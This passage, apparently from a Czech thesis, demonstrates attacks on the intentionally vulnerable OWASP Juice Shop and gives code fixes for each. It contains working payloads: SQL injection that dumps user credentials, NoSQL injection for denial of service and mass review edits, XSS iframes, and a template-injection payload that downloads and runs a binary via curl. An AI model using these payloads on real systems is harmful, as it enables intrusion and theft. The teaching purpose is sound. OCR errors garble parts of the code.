31 delu 8

32 image

33

34 "updatedAt": @,

35 "deletedAt": "CREATE TABLE 'BasketItems' ( id’ INTEGER PRIMARY KEY AUTOINCREMENT, 'quantity  INTEGER, “createdAt DATETIME NOT
NULL, ‘updatedAt' DATETIME NOT NULL, ‘BasketId' INTEGER REFERENCES 'Baskets' ('id') ON DELETE CASCADE ON UPDATE CASCADE,
"ProductId’ INTEGER REFERENCES 'Products’ ('id') ON DELETE CASCADE ON UPDATE CASCADE, UNIQUE ('BasketId', 'ProductId’))" _

36 1,

Obr. 18. Néhled ziskanych dat v aplikaci Postman
Ve vysledku tohoto dotazu (Obr. 18) si mizeme vSimnout, Ze sloupec ,,deletedAt* obsahuje
sqlmetadata o jednotlivych tabulkach. Timto zplsobem muzeme ziskat strukturu vSech

tabulek v dané databazi.

Posléze mizeme podobnym zptisobem ziskat veskera data, které se skryvaji v jednotlivych
tabulkach. Pouze v posilaném dotazu upravime tabulku misto sqlite_master napt. za users
a misto sloupce sql a konstantnich hodnot vybereme nami pozadované sloupce s daty. Jméno
tabulky a nazvy téchto sloupcl jsme jiz ziskali diky pfedchozimu dotazu, vime tedy,

ze struktura tabulky users je nasledujici.

CREATE TABLE ‘'Users' (
'id' INTEGER PRIMARY KEY AUTOINCREMENT,
‘username’ VARCHAR(255) DEFAULT '',
"email' VARCHAR(255) UNIQUE,
‘password’ VARCHAR(255),
‘role' VARCHAR(255) DEFAULT 'customer’,
"deluxeToken' VARCHAR(255) DEFAULT "',

‘lastlLoginIp' VARCHAR(255) DEFAULT '0.0.0.0',

'profileImage’ VARCHAR(255) DEFAULT '/assets/public/images/uploads/default
'totpSecret' VARCHAR(255) DEFAULT '',

"isActive' TINYINT(1) DEFAULT 1,

‘createdAt' DATETIME NOT NULL,

'updatedAt' DATETIME NOT NULL,

'deletedAt' DATETIME

Nyni nam jiz nezbyva nic jiného neZ vybrat nami pozadované sloupce a vytvofit

tak naptiklad nasledujici dotaz.
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http://localhost:3000/rest/products/search?g=NON_EXISTING')) UNION SELECT

id, username, email, password, role, deluxeToken, lastlLoginIp, profileImage,
role FROM Users --

GET ~ http://localhost:3000/rest/products/search?q=NON_EXISTING')) UNION SELECT id, username, email, password, role, deluxeToken, lastLoginlp, prc Send v
Params @ Autharization Headers (6) Body Pre-request Script Tests Settings Cookies
Body Cookies Headers (12) Test Results @ status: 200 0K Time: 40ms Size: 5177KB  Save Response
Pretty Raw Preview Visualize JSON ~ = mQ
1
2 "status”: "success",
3 "data": [
4 1
5
)
7 : "admin@juice-sh.op",
8 8192023a7bbd73258516f069df18b508" ,
9 ": "admin”,
10 "image":
11 "createdAt": "127.0.0.1",
12 "updatedAt": "assets/public/images/uploads/defaultAdmin.png”,
13 "deletedAt": "admin”
14 1
15 1
16
17 .
18 ion": "jim@juice-sh.op",
19 : "eb4lca7ecf72b8d1286474fce13e5e45",
20 "deluxePrice": "customer”,
21 "image*: ""
22 "createdAt": "9.0.@.0",
23 "updatedAt": "assets/public/images/uploads/default.svg",
24 "deletedAt": "customer"

Obr. 19. Ukazka ziskanych dat v aplikaci Postman

Spusténim dotazu budou zobrazena vybrana uzivatelska data z databaze (Obr. 19).

Také napt. diky ziskané struktufe tabulky users mizeme vytvofit zcela nového uzivatele,
ktery se nevyskytuje v databdzi a zneuzit dal$i zranitlné misto pomoci SQLi na strance
a vlozit vytvofené¢ho uzivatele do loginu (Obr. 20), jak bylo jiz dfive zminéno a to napf.

s nasledujici strukturou:

' UNION SELECT * FROM (SELECT 1,

'accounting’, , ,

Email

" UNION SELECT * FROM (SELECT 1, ",'accOul

Password

Obr. 20. PtihlaSeni pod uctem accOunt4nt@juice-sh.op

Cimz se Uspésné piihlasime pod nami nové vytvoreného uzivatele.
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Pro oSetieni vySe zminéného vstupu na adrese http://localhost:3000/rest/products/search?q=
bude potieba nalézt soubor, kde se jednotlivé pozadavky provadéji. V tomto ptipadé¢ se bude

jednat o soubor search.js, kde nas bude zajimat nasledujici cast kodu.

models.sequelize.query( SELECT * FROM Products WHERE ((name LIKE '%${criteri

a}%' OR description LIKE '%${criteria}%') AND deletedAt IS NULL) ORDER BY na
me" )

Muzeme vidét, ze stejné jako u feSené zranitelnosti pfihlaSeni, jsou i zde posilany
do databaze nijak neoSetfend data. Vyuzijeme tedy stejnou metodu pro oSetfeni vstupu,
a to objekt replacements, ktery vstupni pole oSetii ped vstupem do databaze. Nize miizeme

jiz vidét upravenou podobu kodu.
const { QueryTypes } = require('sequelize')

models.sequelize.query( SELECT * FROM Products WHERE ((name LIKE :criter
ia OR description LIKE :criteria) AND deletedAt IS NULL) ORDER BY name’, {
replacements: {
criteria: '%' + criteria + '%'

¥
type: QueryTypes.RAW

})

Takové oSetteni zabrani SQL Injection utokim pro pole s vyhledavanim.

8.1.3 NoSQL Injection

Dalsi z moZnosti napadeni pomoci injection je NoSQL Injection, coZ je Gtok specialné uréen
pro pomérné novy zpiisob databazi a to NoSQL, pro tyto ucely byla v testovaci aplikaci Juice
Shop vytvotena specidlné databaze pro tyto ucely, aby bylo mozné demonstrovat i tento
utok. Moderni aplikace mohou vyuzivat pravé tuto databazi kvuli rychlej§imu dotazovani
a ziskdvani dat. S modernim a novym zplsobem dotazovanim vznikly i nové moznosti

napadeni.

Pomoci NoSQL Injection miizeme nasimulovat Gtok vedouci k tzv. denial of service (DoS),
neboli nedostupnosti sluzby. V takovémto stavu poté aplikace neni schopna zpracovavat

jakékoliv pozadavky a stava se v podstaté nepouzitelnou.

Prvnim krokem je nalezeni API endpointu, které vyuzivaji tuto NoSQL databazi, ¢ehoz
1ze dosdhnout napiiklad vyvolanim chyby. Konkrétné toho miizeme dosdhnout naptiklad
vloZzenim znaku, ktery by takovouto chybu mohl vyvolat. Pii pfezkoumavani jednotlivych

API endpointl v aplikaci zjistime, Ze adresa http://localhost:3000/rest/products/24/reviews,
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by mohla byt vhodnym mistem. Pokud zkusime vyuzit stejnou techniku jako pii praci s SQL

injection tlohami a posleme dotaz na adresu http://localhost:3000/rest/products/'/reviews,

tak dostaneme chybovou hlasku, kterou mizeme vidét na nasledujicim obrazku (Obr. 21).

OWASP Juice Shop (Express *4.17.1)

500 SyntaxError: Invalid or unexpected token

at Function (<anonymous>)

at Object Swhere (C:\Users\

at C:\Users\

at fastForEachObject (C:\Users\

at fastForEach (C:\Users

at compileDocumentSelector (C:\Users\

at DocumentMatcher._compileSelector (C:\Users\
at new DocumentMatcher (C:\Users'

at CursorObservable._ensureMatcherSorter (C:\Users\

at CursorObservable.Cursor (C:\Users\

at new CursorObservable (C:\Users\

at CollectionDelegate find (C:\Users\

at Collection find (C:\Users\

at C:\Users\ )
at Layerhandle [as handle_request] (C:\Users\
at next (C:\Users\

at Route dispatch (C:\Users}

at Layer handle [as handle_request] (C:\Users\
at C:\Users\| B
at param (C:\Users\

at param (C:\Users\

at Function process_params (C:\Users\

at next (C:\Users\

at C:\Users\ :
at Layer.handle [as handle_request] (C:\Users\
at trim_prefix (C:\Users\

at C:\Users\|

at Function.process_params (C:\Users\

\juice-shop\node_modules'marsdb\dist\DocumentMatcher.js:419:23)

Wjuice- shop inode _modules\marsdb\distiDocumentMatcher js:211-:46

5 \juice-shop\node_modules\fast js\object\forEach.js:21:5)
: ‘Jm\:e—shup‘ﬂode_mndu\es‘fast js\forEach.js:20:12)
Wjuice-shop\node_modules\marsdb\dist\DocumentMatcher js:203:25)
juice-shopinode_modulesimarsdb\distiDocumentMatcher js:153:14)
\ulce shop\: nnde modules\marsdb\distDocumentMatcher js:103:29)
\juice-shop\node_modules\marsdb\dist\Cursor.js:265:23)
\juice- shop nudﬂ modules\marsdb\dist\Cursor.js:116:12)
JLHD@ shop\nade_modules\marsdb\dist\CursorObservable js:67-90)
\juice-shop\node_modules\marsdb\distiCollectionDelegate js:117:14)
\juice- <hop node_modulesimarsdb\distiCollection js:275:28)
|mc= shop' routes\showProductReviews j5:29:16
\juice-shop\node_modules\express\lib\routerilayer.js:95:5)
\juice-shop\node modules\ expre%. \lib\router\route js:137:13)
\juice-shopinode_modules\expresslliblrouteriroute js:112:3)
juice-shop\node_modules\expressilibirouterilayer js:95:5)

\juice- shop node modules expressilib\routerlindex.js:281:22

Julr.A shopinode_modules\expresslib\routerlindex js:354:14)
Wjuice-shop\node_modules\expressliblrouterlindex js:365:14)
\juice-shop\node_modules\express\lib\routerindex js:410:3)
\juice-shop\ \node_modules\ \expressiib\router\index js:275:10)

: ) ‘.jmcﬂ shopiroutes\verify.js:143:3

\juice-shop\node_modules\expressllib\routerilayer js:95:5)
\juice-shop node modules\ \expressliibrouterlindex js:317:13)

‘]uwce shnp \node_modules'\express\ lib\routerindex js:284:7

Wjuice-shop\node_modules\express\ib\routeriindex js:335:12)

Obr. 21. Chybova hlaska vyvolana pouzitim metaznaku v API enpointu
Z této chyby mluzeme vydedukovat, Ze aplikace pouzivd databazi marsDB, coZ je derivace
MongoDB a také, Ze serverova ¢ast aplikace bézi na JavaScriptovém frameworku Express.
Logicky tedy budeme chtit vlozit takovy JavaScriptovy kéd, ktery vyvola uspani serveru.
Konkrétné se pro takovyto tcel da vyuzit metoda sleep(miliseconds). Nyni tedy uz pouze
staci provést pozadavek na nasledujici adresu a tim uspime celou aplikaci napt. na 50000

ms: http://localhost:3000/rest/products/sleep(50000)/reviews.

Abychom vySe zminénou zranitelnost oSetfili, bude potfeba nalézt vhodny soubor
na serveru, ktery vklada data do NoSQL databaze. V tomto piipad¢ nas zajima funkce

showProductReviews, ktera nds odkazuje na soubor showProductReviews.js.

db.reviews.find({ $where:

"this.product

Abychom dosahli oSetfeni vstupniho ID produktu, tak jej musime vyuZit ve funkci, ktera
bude vracet vysledek porovnani produktovych ID a tuto funkci poté pfifadit do objektu
s klicem $where. Pouzity databazovy nastroj nasledné provede automatické osetieni tohoto
pole a nebude tak napadnutelné pomoci NoSQL injection. Upraveny kod bude poté vypadat

nasledovné.
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const query = {
$where: function(){
return this.product == id

¥
}

db.reviews.find(query)

Po této uprave jiz nebude mozné na tomto misté vyvolat DOS ttok.

Dalsi moznosti napadeni aplikace mize byt pomoci NoSQL Injection napt. zména vSech
komentatt uzivateli u produktt. Jiz vime, Ze v aplikaci pro vkladani zobrazeni detailu,
hodnoceni a editaci produktli je vyuzivina NoSQL databaze. Konkrétné MongoDB,
potazmo marsDB. Pokusime se pomoci injection hromadné pozménit vS§echny hodnoceni

produktl najednou.

Po prihlaSeni pod jakymkoli uzivatelem v aplikaci se nam zptistupni formulaf pro pridavani
novych a aktualizace jiz nami diiv pfidanych hodnoceni u produktd. V DevTools piimo
v Google Chrome prohliZze¢i miZeme sledovat vSechny poZzadavky v aplikaci, editujeme
tedy jedno nami vytvofené hodnoceni a nasledné¢ PATCH dotaz zkopirujeme a vloZime

jej do konzole taktéz v DevTools, kde jej miizeme upravit a nasledné¢ poslat.

Tento dotaz, konkrétné jeho télo - body budeme tedy muset upravit tak, aby odeslanim

jednoho dotazu byly upraveny vSechny komentafe u produktii v aplikaci.

Z mnoha zdrojli na internetu miZeme zjistit, Ze béznou praktikou pro takovyto ucel byva
pouziti nasledujiciho objektu {“$ne”: 1}, ktery je vyhodnocen jako pravda pro vSechny

z4dznamy.

Vlozime tento objekt na misto v textu id, které byva v dotazu posldno. Télo naSeho

pozadavku tedy bude vypadat nasledovné.

"body": "{"id": {"$ne": 0}, "message":"Updated review"}"

Takovyto poZadavek nam jiz jen zbyva znovu odeslat, napiiklad pomoci konzole, jak jiz

bylo zminéno vyse.



UTB ve Zliné, Fakulta aplikované informatiky 46

fetch(”

Obr. 22. Odeslany upraveny dotaz
Tento pozadavek (mizeme vidét na obrazku Obr. 22) si poté¢ mizeme prohlédnout v sitoveé

zalozce. Odpovéd’ na néj poté vypada nasledovné.
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Obr. 23. Nahled na vysledek odeslaného dotazu v sitovém tabu
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Pfestoze nemame opravnéni pro editaci komentarii ostatnich uzivateld, jsou pozménény

na nami pozadovany text, miizeme vidét na obrazku Obr. 23.

Abychom oSetfili vySe zminénou zranitelnost, bude potieba na serveru nalézt vhodny
soubor. Databazovy dotaz pro aktualizaci komentaiti u produktii nalezneme v souboru
updateProductReviews.js. Konkrétné néds bude zajimat ¢ast kodu nize, kde mizeme vidét,
ze jsou do databaze posilany nijak neosSetiené promeénné.

db.reviews.update(
{ _id: req.body.id },

{ $set: { message: req.body.message } },
{ multi: true }

)

V tomto piipadé€ neni vhodné pouZzit oSetfeni pomoci vlozené funkce. OvSem dalsi moznosti,

jak oSetfit vstupni pole pied poslanim do databaze je celou proménnou zabalit do metody

escape().

Nize mizeme vidét upraveny kod, kdy jsou pomoci metody escape() oSetteny ID a obsah

zpravy.

db.reviews.update(
{ _id: escape(req.body.id) },

{ $set: { message: escape(req.body.message) } }

)

Po této upravé jiz neni mozné uskutecnit utok, ktery by mohl hromadné zménit v§echny

komentéte uzivatell v aplikaci.

8.1.4 Server-side Template Injection

DalSim utokem injection je SSTi, coz je utok, ktery ma za cil napadnout server napf.
staZzenim Skodlivého malwaru. V tomto pfipadé bude za cil donutit server, aby malware stahl
a nasledné spustil. Pro tyto tcely byl vyuzit neSkodny malware, ktery slozi pravé pro tyto
ucely a miiZeme jej nalézt napt. na strankach githubu, budeme-li hledat juicy-malware. [44]

Na obrazku Obr. 24 mizeme vidét nalezeny soubor s malwarem.



UTB ve Zliné, Fakulta aplikované informatiky 48

# master +  juicy-malware / juicy_malware_ windows_64.exe Go to file

!. 112934 Add arm based binaries and updated the others Latest commit ac41d85 on 15 May 2020 O History

Ax 1 contributor
a#raw-urlbtn.btn-sm.BtnGroup-it
em

Executable File 6.4 MB Download ) O

-auto pr </aivs
d-@ flex-auto fle: flex-md-order- ex-sm- 0 flex-justify-between">

cy-malware/raw/master/juicy malw exe" id="raw-url” role="button” class="btn btn-sm BtnGroup-item ">Download</a>

https://github.com/J12934/juicy-malware/raw/master/juicy_malware_windows_64.exe

Obr. 24. Stranka s malwarem a nalezenou adresou pomoci DevTools
Nejdiive pomoci ptikazového tadku zjistime, jakym zplisobem takovy soubor miiZzeme

stahnout. Pro OS Windows bude ptikaz vypadat nasledovné:

curl -o malware.exe https://raw.githubusercontent.com/J12934/juicy-

malware/master/juicy malware windows 64.exe && malware.exe

Uz vime, jak pomoci ptikazového fadku soubor stahnout a spustit jej. Nyni je potieba zjistit,

jak tento piikaz vlozit do néjakého vstupniho pole v Juice Shopu tak, aby se korektné spustil.

Pro tento utok je vhodné vyuzit stranku v aplikaci, kterd vyuziva Sablonovaci systém
a stranku vykresluje pomoci Sablon, kterd bude idealn¢ obsahovat formuladf. Takovouto

stranku nalezneme na adrese http://localhost:3000/profile.

Nasledné je potieba zjistit, jaky Sablonovaci systém stranka pouziva. JelikoZz vime,
ze serverova cCast aplikace je psana ve frameworku express. V oficialni dokumentaci
frameworku express miiZeme na prvnim misté nalézt Framework PUG, jehoz syntaxe

pro vyraz je #{vyraz}.

Z nésledujici ukazky (Obr. 25) mizeme vidét, Ze takovouto syntaxi Framework zpracuje
korektné anikoli jako prosty text. Miuzeme tedy predpokladat, Zze s vysokou

pravdépodobnosti se jedna o tento Sablonovaci systém.
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File Upload: Y elE &SIl Soubor nevybran

Upload Picture

Image URL:

Link Image

Email:
admin@juice-sh op

Usermname:
#{'Admin'}

Set Username

Obr. 25. Ukazka chyby validace vstupu
Nyni musime zjistit, jak pomoci vhodného ptikazu dokdZeme stahnout a spustit pozadovany

malware.

Vime, ze OWASP Juice Shop je spustén na Node.js, coZ je prostiedi umoziujici spoustet
JavaScriptovy kod mimo webovy prohlize¢. Budeme hledat korektni pfikaz v Node.js, ktery
nam spusti vySe zminény kod. Na internetu miiZeme nalézt zndmou SSTI zranitelnost, ktera
postihuje pug.js (byvalym nazvem Jade). Prostiednictvim této zranitelnosti je mozné

z globalniho objektu ziskat child process a nad nim nasledné spustit libovolny ptikaz. [45]
Takovyto ptikaz, doplnény jiZ o spoustéci kod bude vypadat nasledovné:
global.process.mainModule.require('child process').exec('curl -

o malware.exe https://raw.githubusercontent.com/J12934/juicy-
malware/master/juicy malware windows 64.exe && malware.exe')

Nyni tento piikaz vlozime do vyrazu, ktery zpracovava Sablonovaci systém, vlozime jej tedy

napiiklad do pole Username nasledovné:

#{global.process.mainModule.require('child process').exec('curl -

o malware.exe https://raw.githubusercontent.com/J12934/juicy-
malware/master/juicy malware windows 64.exe && malware.exe')}

Cimz pfim¢jeme stazeni naseho malwaru na server.

Pro oSetieni této zranitelnosti bude potieba zasahovat do vice souborti a pofadné zanalyzovat

zdrojovy kod. Nejdiive otevieme soubor userProfile.js, kde si miizeme vSimnout jakym
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zpusobem je ziskdvana hodnota proménné username obsahujici uzivatelské jméno. Nize
muzeme vidét ¢ast kodi s vySe zminénou logikou a nasledné vyuzité této proménné, kdy
se v Sabloné¢ pro stranku s profilem uzivatele nahradi vyskyty fetézce username

za hodnotu proménné username.

if (username.match(/#\{(.*)\}/) !== && lutils.disableOnContai

nerenv()) {
req.app.locals.abused_ssti_bug =
code = username.substring(2, username.length - 1)

try {
username = eval(code)

} catch (err) {
username = '\\' + username
}
} else {
username = '\\' + username

template = template.replace( , username)

Posléze se ptesuneme do souboru se Sablonou stranky uzivatelského profilu userProfile.pug,

kde nalezneme vySe zminény username fetézec.

(style="margin-top:8%; color: _textColor_ ; text-
align: center;') _username_

Pro oSetfeni feSené zranitelnosti miZzeme v souboru userProfile.js odstranit ¢i zakomentovat

celou vySe zminénou logiku.
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Nasledné v Sablon¢ stranky userProfile.pug odstranime fetézec username a vlozime
zde pfimo proménnou username, piicemz musime pouzit syntaxi podporovanou pouzitym

Sablonovym systémem pug.js. Tato syntaxe ma konkrétné format #{vyraz}.
NiZze je upravena ¢ast kodu.

p(style="margin-top:8%; color: textColor ; text-

align: center;') #{username}

Po této opravé jiz neni mozné vstupni pole username vyuzit pro SSTi utok.

8.2 Cross-site scripting

Také znam pod zkratkou XSS je typ utoku injection, ktery za pomoci vlozeni Skodlivého
koédu, napt. do formulafe ve webové aplikaci, mize poskodit vzhled aplikace, v horSich

ptipadech pak miiZze dojit k naruSeni bezpecnosti a k ziskani citlivych udaji o uzivatelich.

Nachazi se mnoho riiznych typt zranitelnosti XSS. Mezi nejznamé;jsi tii typy se fadi Stored
XSS, Reflected XSS a DOM Base XSS. Je tieba si uvédomit, Ze se nejedna o striktné
odd¢lené typy utoku, ale mohou se navzajem prolinat. Nize je nékolik ukdzkovych utokl
XSS nalezenych v aplikaci Juice Shop. VZdy je nalezend zranitelnost v aplikaci a posléze

popis, jak tuto zranitelnost oSetfit.

8.2.1 DOM Base XSS

Pro demonstraci tohoto utoku miizeme v aplikaci nalézt vstupni pole, které neni oSetieno.
VloZeni Skodlivého kodu do takového pole se provede a mulZe spustit nezddouci akci

na strance.

Takové pole se nachazi hned na Givodni strané http://localhost:3000/#/, kde se ndm nabizi
vstupni pole pro vyhledavani produkt. Vlozime do néj pozadovany kod, pro demonstraci

'

napt. <iframe src="javascript:alert('xss")"> a odesleme je;.

Aplikace tento kod vlozi do stranky s vysledky vyhledavani, kde dojde k jeho spusténi,
coz zpusobi vyvolani vyskakovaciho okna vyvolaného skriptem v kodu, mizeme vidét na

nasledujicim obrazku Obr. 26.



UTB ve Zliné, Fakulta aplikované informatiky 52

= ' OWASP Juice Shop <iffame src="javascriptalert( xss > X 3 Account W Your Basxe:J @en

“You successfully solved a challenge: DOM XSS (Perform a DOM XSS attack with <iframe src="javascriptalert{ xss')">.)

Search Results -

Obr. 26. Stranka s vyhledavanim po vlozeni Skodlivého kodu
Posléze mlizeme do vstupniho pole vlozit 1 slozitéjsi kod, ktery kuptikladu mize vest
k vloZeni do stranky pfehravac a automaticky jej spusti, jako mizeme vidét nize na obrazku

(viz. Obr. 27).
= [ owasP Juice Shop <o w1005 053X @ Aot B Your Basel. @) EN

“You successfully solved a challenge: Bonus Payload (Use the bonus payload <iframe width="100%" height="166" scrolling="no" frameborder="nc" allow="autoplay" src="hitps://w.soundcloud.com/player/?
uri=https%3A//api soundcioud.com/tracks/77 188407 6&color=%231155008auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe> in the DOM XSS
challenge.)

Search Results -

o OWASP Juice Shop Jingle

Obr. 27. Vlozeny piehravac na stranky

Pro oSetteni této zranitelnosti vstupniho pole pro vyhledavani je potieba na serveru nalézt
soubor, kde je funkce, kterd vyhleddvani provadi. Takova funkce se nachazi v souboru

search-result.component.ts. Nize je kod funkce, ktera toto vyhledavani provadi.
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filterTable () {
queryParam: string = .route.snapshot.queryParams.q
if (queryParam) {
queryParam = queryParam.trim()
.ngZone.runOutsideAngular(() {
.io.socket().emit( 'verifylLocalXssChallenge', queryParam)

})
.dataSource.filter = queryParam.tolLowerCase()
.searchValue = .sanitizer.bypassSecurityTrustHtml(queryParam)
.gridDataSource.subscribe((result: any) {
if (result.length === 09) {
.emptyState
} else {
.emptyState
}
})
} else {
.dataSource.filter = "'
.searchValue =
.emptyState =

Pro oSetfeni zranitelnosti nas v této funkci zajima pouze fadek, kde je definovana proménna

searchValue obsahujici vyhledavanou hodnotu.

.searchValue = .sanitizer.bypassSecurityTrustHtml(queryParam)

Mizeme vidét, Ze pfi nastaveni proménné se pouziva funkce bypassSecurityTrustHtml.
Pti zobrazeni popisu této funkce najetim kurzoru (Obr. 28) si miizeme ptecist, ze prave tato
funkce umoziuje vlozit do proménné jakékoliv HTML, v¢etné skriptl, coz pravé umoziuje
provedeni XSS utoku, nebot’ jakékoliv HTML bude vloZeno do Sablony stranky bez oSetteni
jejiho obsahu.

(method) DomSanitizer.bypassSecurityTrustHtml(value: string):
SafeHtml

Bypass security and trust the given value to be safe HTML. Only use this when
the bound HTML is unsafe (e.g. contains <script> tags) and the code should
be executed. The sanitizer will leave safe HTML intact, so in most situations this
method should not be used.

WARNING: calling this method with untrusted user data exposes your
application to XSS security risks!

bypassSecurityTru%thml(queryParam)

Obr. 28. Popis funkce
Pro oSetteni tedy staci odstranit volani této funkce a pfifadit hodnotu proménné queryParam

nasledovné.
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.searchValue = queryParam

Tato uprava zplisobi, ze pouzity framework provede automatické oSetfeni vkladané
proménng, tedy jej automaticky osetii proti XSS a upravi vkladany text tak, aby neobsahoval

jakékoliv skripty v HTML.

8.2.2 Reflected XSS

Dal§i z moznosti je utok na nedostate¢né osetiené data z HTTP odpovédi. Skodlivy kod
je v ptipad¢ reflected XSS pouze vlozen do HTTP odpovédi, neni vSak ulozen v samotné
aplikaci. V ptipadé vlozeni Skodlivého kédu do odpovédi v takovémto piipadé mize dojit

k jeho spusténi.

V aplikaci je potieba nalézt takovou stranku, kterd zobrazuje néktery z URL parametrt
ve svém tele tak, abychom mohli tento parametr vymeénit za nas kod a aplikace jej nasledné
spustila. Takovouto adresu nalezneme po ptihlaseni pod uzivatelem, ktery uz diive n¢jakou
objednéavku uskutecnil a v historii objednavek rozklikneme detail jedné z nich, ¢imZ budeme
piesmérovani na adresu: http://localhost:3000/#/track-result?1d=5267-2fbb133ab957fe7,

pricemz si mizeme v§imnout, ze toto id je ve strance zobrazeno (Obr. 29).

Search Results - 5267-f2fbb133ab957fe7

Expected Delivery

=11

Ordered products

Product Quantity Total Price

Bonus Points Earned: {{bonus}}
(The bonus points from this order will be added 1:1 fo your wallet 8-fund for future purchases!)

Obr. 29. ID produktu na strance
Nyni pozménime URL tak, ze zménime hodnotu id, aby obsahovala Skodlivy kod,

napf. <iframe src="javascript:alert('xss’)">. Upravené¢ URL bude vypadat nasledovné:

http://localhost:3000/#/track-result?id=<iframe src="javascript:alert( xss )">
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= ' OWASP Juice Shop Q@ Aot W vourBasket @ EN

‘You successfully solved a challenge: Reflecled XSS (Perform a reflected XSS attack with <iframe src="javascript:aleri( xss')™>.)

Search Results -

Expected Delivery

=R

Cuantity

Ordered products

Bonus Points Earned: {{bonus}}
(The bonus points from this order will be added 1:1 fo your wallet r-fund for future purchases!)

Obr. 30. Stranka po vlozeni skodlivého kédu
Po obnoveni stranky dojde k vlozeni Skodlivého kédu z id parametru, ¢imz se zde objevi

vyskakovaci okno, mizeme vidét na obrazku vyse (Obr. 30).

Abychom osetfili vySe zminénou zranitelnost, bude potieba nalézt soubor, ktery tato vstupni

data zpracovéava. Takovym souborem je v tomto ptipad¢ track-result.component.ts.

Muzeme vidét, Ze je zde pouzita stejnd funkce, jako u predchoziho osetieni vstupniho pole,
tedy funkce, kterd umoziuje vkladat jakykoliv text, tedy i HTML vcetné skripti. Nize

je vidét ¢ast kodu, kterou budeme upravovat.

.results.orderNo = .sanitizer.bypassSecurityTrustHtml( <code>${resu

lts.data[@].orderId}</code>")

Odstranénim funkce stejné jako v pfedchozim ptipadé zplisobime, ze hodnota ptifazovana
do proménné bude automaticky oSetfena a budou z ni tudiZ odstranény skripty. Opraveny

kod vypada nasledovné.

.results.orderNo = "<code>${results.data[@].orderId}</code>"

V tomto piipad¢ uvidime po vlozeni skodlivého kédu do parametru ID nasledujici stranku,
kde si miizeme v§imnout, ze nam zde zlstava ukoncovaci HTML tag </code>, miiZzeme vidét
na obrazku Obr. 31. Pokud bychom nechtéli, aby se takto vysledek zobrazoval, ze souboru
track-result.component.ts budeme muset zcela odebrat ¢ast <code></code> a vlozit jej

ptimo do HTML Sablony komponenty.
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Search Results - </code>

Expected Delivery
|

Obr. 31. Zobrazeny ID parametr po vlozeni Skodlivého kodu

Nasledujici tprava v souboru track-result.component.ts bude vypadat nasledovné.

.results.orderNo = results.data[@].orderId

Posléze se presuneme do souboru track-result.component.html, kde nalezneme misto, kde

je pole definovano v HTML. To mizeme vidét v ¢asti kddu nize.

translate>TITLE SEARCH_RESULTS [innerHtml]="results

.orderNo"

Tento kod nasledné upravime do nasledujiciho tvaru, aby obsahoval HTML tag <code>.

translate>TITLE_SEARCH_RESULTS [innerHtml]="r

esults.orderNo"

Po téchto Upravéach se jiz nebude ve strance zobrazovat ukoncovaci tag </code> v ID

objednavky pii vlozeni skodlivého kodu.

8.2.3 Stored XSS

Stored XSS vznikd, kdyz webova aplikace pfijme data z nediivéryhodného zdroje a dale
pak zahrnuje tyto data v ramci svych pozdéjSich HTTP odpovédich. Tyto Skodliva data nebo
skripty Ize umistit naptiklad v komentafi u ptispévku, ve foru zprav, v protokolu navstévnika
a na dalSich mistech, které se zobrazuji i dalSim navstévnikiim. Pro demonstraci tohoto typu
ukolu jsou uvedeny dva ptipady, kdy miiZze dojit k napadeni a vloZeni Skodlivého kodu
na stranky. V prvnim pfipad€ se bude jednat o nedostatecné oSetfené vstupni pole
pro registraci uzivatelli, v druhém piipad¢ se bude jednat o zneuziti zranitelnosti, kterou

obsahuje starsi verze knihovny a byla jiz dfive objevena.

V prvnim pfipadé mizeme v aplikaci nalézt chybu, kterou vyvojafi Casto délaji a to,
ze spoléhaji na validaci vstupnich dat na Grovni klientské aplikace. Takovou validaci ov§em
muze Utocnik jednoduSe obejit napiiklad uplnym vypnutim JavaScriptu v prohlizeci,
manipulaci s DOMem, ¢i pfimou komunikaci se serverem. Abychom takovymto ttokim

zamezili, tak je vhodné vSechno takovéto validace provadéet i na serveru. V tomto piipadé
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budeme chtit vlozit kus Skodlivého kodu napt. <iframe src="javascript:alert('xss")"> tak,

abychom dokdzali obejit zabezpeceni na klientské stran¢ aplikace.

V nami vyuzité aplikaci se vhodnym mistem pro tento utok zda byt formulai pro registraci
uzivatele. Korektné se tedy registrujeme a sledujeme pozadavky v sitové zalozce DevTools.

Nalezneme zde ocekavany pozadavek POST pro vytvoteni uzivatele.

Tento pozadavek zkopirujeme a vlozime jej do konzole, taktéz v jednom z DevTools
nastroju. V téle pozadavku mizeme vidét, Ze se prenaseji veskera data z formulaie. Zkusime
tedy zaménit email za nas skodlivy kéd tak jako na obrazku nize (viz. Obr. 32). Stisknutim
klavesy enter tento upraveny pozadavek odeSleme a v sitové zaloZzce mlzeme vidét, Ze
pozadavek dopadl Gspésné, coz znamen4, Ze na serveru nebyl email nijak validovan a doslo

tedy k vytvoteni nového uzivatele, jehoz email obsahuje nés skodlivy kod.

Obr. 32. Upraveny pozadavek v konzolové zalozce

Posléze potfebujeme najit stranku, kde bude email tohoto uzivatele zobrazen, nabizi se misto
pro spravu vsech uzivatell uctl, které muzeme nalézt po ptihlaSeni jako administrator
na administracni strance. Pokud se nyni administrator pfesune na danou stranku, objevi
se vyskakovaci okno vyvolané naSim Skodlivym kodem, jelikoZ se ve strance nacetl seznam
vSech uzivatelll v systému. Na obrazku nize (viz. Obr. 33) miizeme vidét vytvorené¢ho

uzivatele se Skodlivym kodem.
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User #24

Email
<iframe src="javascript:alert("xss’)">

Created at Updated at
2021-03-14T13:51:04.474Z 2021-03-14T13:51:04.474Z

X Close

Obr. 33. Uzivatel se Skodlivym kodem v emailu
Pro oSetfeni této zranitelnosti bude potfeba sanitizovat emailovou adresu ukladanou
u uzivatele tak, aby nebylo mozné ulozit Skodlivy kod jako soucést této emailové adresy.

Tato funkcionalita se nachazi v souboru user.js.

V souboru nalezneme nasledujici ¢ast kodu. Zde ndm jiz programatoii aplikace usnadnili
oSetfeni. Mlizeme vid¢t, Ze oSetfeni emailu se provadi pouze za podminky, Ze je kod spustén
v kontejnerovém prostiedi jako naptiklad Heroku, my vSak toto oSetfeni chceme provadet

nehled€ na tuto podminku.

email: {
type: STRING,
unique: R
set (email) {
if (lutils.disableOnContainerkEnv()) {
utils.solvelf(challenges.persistedXssUserChallenge, () { return

utils.contains(email, '<iframe src="javascript:alert( xss )">') })
} else {
email = insecurity.sanitizeSecure(email)

}

.setDataValue('email', email)

Abychom oSetfili danou zranitelnost, tak musime fadek kodu provadéjici sanitizaci

pfesunout mimo else blok, upraveny kod poté bude vypadat nasledovné.
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email: {
type: STRING,
unique: R
set (email) {
